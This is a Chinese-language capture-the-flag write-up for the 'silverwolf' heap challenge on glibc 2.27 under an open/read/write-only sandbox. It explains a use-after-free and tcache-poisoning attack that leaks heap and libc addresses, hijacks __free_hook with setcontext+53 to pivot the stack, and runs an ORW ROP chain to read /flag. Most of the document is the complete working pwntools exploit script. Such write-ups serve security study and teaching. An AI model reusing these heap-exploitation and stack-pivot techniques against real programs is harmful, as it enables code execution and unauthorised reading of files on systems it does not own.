好像以前打过了不过打得是栈,现在用setcontext打一遍
libc 2.27,沙盒只允许用orw。
看一下setcontext,在+53的位置存在mov rsp, [rdi+0A0h]可以控制rsp并且不会破坏栈空间,而free时rdi正好指向堆的地址,可以劫持__free_hook写入setcontext+53,劫持tcache_entry
向0x40,0x50,0x60,0x70写入heap+0x2000,heap+0x20a0,heap+0x20a0+0x40,heap+0x20a0+0x40+0x50。
向heap+0x20a0,heap+0x20a0+0x40,heap+0x20a0+0x40+0x50写入heap+0x20a0+orw[0:0x40],orw[0x40:0x90],orw[0x90:]。add一个0x30的堆会得到heap+0x2000,free其会进入setcontext+53,将rsp指向heap+0x20a0进行orw。

由于沙盒的缘故,在bins里有很多堆,随便add一个再show即可得到堆地址,本题存在uaf,直接free后edit其fd指针指向tcache结构体,将counts填满free后得到libc地址后写入开头所述内容
add(0x78)
show()
p.recvuntil(b"Content: ")
heap=u64(p.recv(6).ljust(8,b"\x00"))-0x11B0
print(hex(heap))
edit(b"/flag\x00")
add(0x78)
free()
edit(p64(heap+0x10))
add(0x78)
add(0x78)
edit(p8(7)*0x40)
free()
show()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3EBCA0
print(hex(libc_base))
edit(p8(0)*0x40 + p64(0)*0x2+p64(heap+0x2000)+p64(heap+0x20a0)+p64(heap+0x20a0+0x40)+p64(heap+0x20a0+0x40+0x50)+p64(free_hook))
构建orw
pop_rdi=libc_base+0x000000000002164f
pop_rcx=libc_base+0x000000000010c423
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
flag=heap+0xe90
syscall=libc_base+libc.sym["syscall"]
orw=flat([
heap+0x20a0,
pop_rdi,2,
pop_rsi,flag,
pop_rdx,2,
pop_rcx,0,
syscall,
pop_rdi,0,
pop_rsi,3,
pop_rdx,heap,
pop_rcx,0x50,
syscall,
pop_rdi,1,
pop_rsi,1,
pop_rdx,heap,
pop_rcx,0x50,
syscall
])
写入
add(0x40)
edit(orw[0:0x40])
add(0x50)
edit(orw[0x40:0x90])
add(0x60)
edit(orw[0x90:])
add(0x78)
edit(p64(setcontext+53))
控制rsp

ret结束后进入orw

exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./silverwolf"
debug=1
if debug:
p=process(filename)
gdb.attach(p,"b *(setcontext+0x35)")
else:
p=remote("node4.anna.nssctf.cn",28897)
#libc=ELF("./libc-2.23.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Your choice: "
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
def add(size,index=0):
p.sendlineafter(select, b"1")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Size: ", str(size).encode())
#p.sendlineafter(b"Please input your things>", content)
def edit(content,index=0):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Index: ", str(index).encode())
#p.sendlineafter(b"input size", str(len(content)).encode())
p.sendlineafter(b"Content: ", content)
def free(index=0):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Index: ", str(index).encode())
def show(index=0):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Index: ", str(index).encode())
add(0x78)
show()
p.recvuntil(b"Content: ")
heap=u64(p.recv(6).ljust(8,b"\x00"))-0x11B0
print(hex(heap))
edit(b"/flag\x00")
add(0x78)
free()
edit(p64(heap+0x10))
add(0x78)
add(0x78)
edit(p8(7)*0x40)
free()
show()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3EBCA0
print(hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
setcontext=libc_base+libc.sym["setcontext"]
pop_rdi=libc_base+0x000000000002164f
pop_rcx=libc_base+0x000000000010c423
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
flag=heap+0xe90
syscall=libc_base+libc.sym["syscall"]
edit(p8(0)*0x40 + p64(0)*0x2+p64(heap+0x2000)+p64(heap+0x20a0)+p64(heap+0x20a0+0x40)+p64(heap+0x20a0+0x40+0x50)+p64(free_hook))
orw=flat([
heap+0x20a0,
pop_rdi,2,
pop_rsi,flag,
pop_rdx,2,
pop_rcx,0,
syscall,
pop_rdi,0,
pop_rsi,3,
pop_rdx,heap,
pop_rcx,0x50,
syscall,
pop_rdi,1,
pop_rsi,1,
pop_rdx,heap,
pop_rcx,0x50,
syscall
])
add(0x40)
edit(orw[0:0x40])
add(0x50)
edit(orw[0x40:0x90])
add(0x60)
edit(orw[0x90:])
add(0x78)
edit(p64(setcontext+53))
add(0x30)
free()
#gdb.attach(proc.pidof(p)[0])
p.interactive()
Comments NOTHING